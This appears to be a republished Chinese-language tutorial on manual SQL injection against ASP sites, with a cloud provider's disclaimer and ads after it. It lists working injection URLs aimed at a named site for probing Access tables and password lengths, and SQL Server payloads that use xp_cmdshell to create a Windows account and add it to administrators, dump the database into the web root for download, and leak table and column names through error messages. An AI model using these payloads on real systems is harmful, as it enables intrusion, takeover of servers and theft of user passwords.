手工注射asp學習_漏洞研究

來源:互聯網
上載者:User
ACCESS 

查詢資料庫類型 
http://www.zengke.com/product.asp?sort_id=24 and exists (select * from sysobjects)

查詢表admin頁面返回正常顯示為有,錯誤為無。
http://www.zengke.com//product.asp?sort_id=24 and exists (select * from admin)

查詢admin表中的項admin
/product.asp?sort_id=24 and exists (select admin_name from admin) 

查詢admin表中的項admin裡面的內容長度 小於出錯 等於返回正常
http://www.zengke.com//product.asp?sort_id=24 And (Select Top 1 len(cstr([pwd])) From (Select Top 1 * From [admin] Where 1=1 Order by [pwd]) T Order by [pwd] desc)<=7

暴力猜解admin表中的項admin_name

SQL


①http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

  分號;在SQLServer中表示隔開前後兩句語句,--表示後面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執行,先是Select出ID=1的記錄,然後執行預存程序xp_cmdshell,這個預存程序用於調用系統命令,於是,用net命令建立了使用者名稱為name、密碼為password的windows的帳號,接著:

②http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup administrators name /add”--

  將建立的帳號name加入Administrator 群組,不用兩分鐘,你已經拿到了系統最高許可權!當然,這種方法只適用於用sa串連資料庫的情況,否則,是沒有許可權調用xp_cmdshell的。

  ③http://Site/url.asp?id=1 ;;and db_name()>0

前面有個類似的例子and user>0,作用是擷取串連使用者名稱,db_name()是另一個系統變數,返回的是串連的資料庫名。

④http://Site/url.asp?id=1;backup database 資料庫名 to disk='c:inetpubwwwroot.db';--

這是相當狠的一招,從③拿到的資料庫名,加上某些IIS出錯暴露出的絕對路徑,將Database Backup到Web目錄下面,再用HTTP把整個資料庫就完完整整的下載回來,所有的管理員及使用者密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網路地址的方法(如\202.96.xx.xxShare.db),但成功率不高。

  ⑤http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype='U' and status>0)>0

前面說過,sysobjects是SQLServer的系統資料表,儲存著所有的表名、視圖、約束及其它對象,xtype='U' and status>0,表示使用者建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯資訊把表名暴露出來。第二、第三個表名怎麼擷取?還是留給我們聰明的讀者思考吧。

⑥http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名'),1) from sysobjects)>0

從⑤拿到表名後,用object_id(‘表名')擷取表名對應的內部ID,col_name(表名ID,1)代表該表的第1個欄位名,將1換成2,3,4...就可以逐個擷取所猜解表裡面的欄位名。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.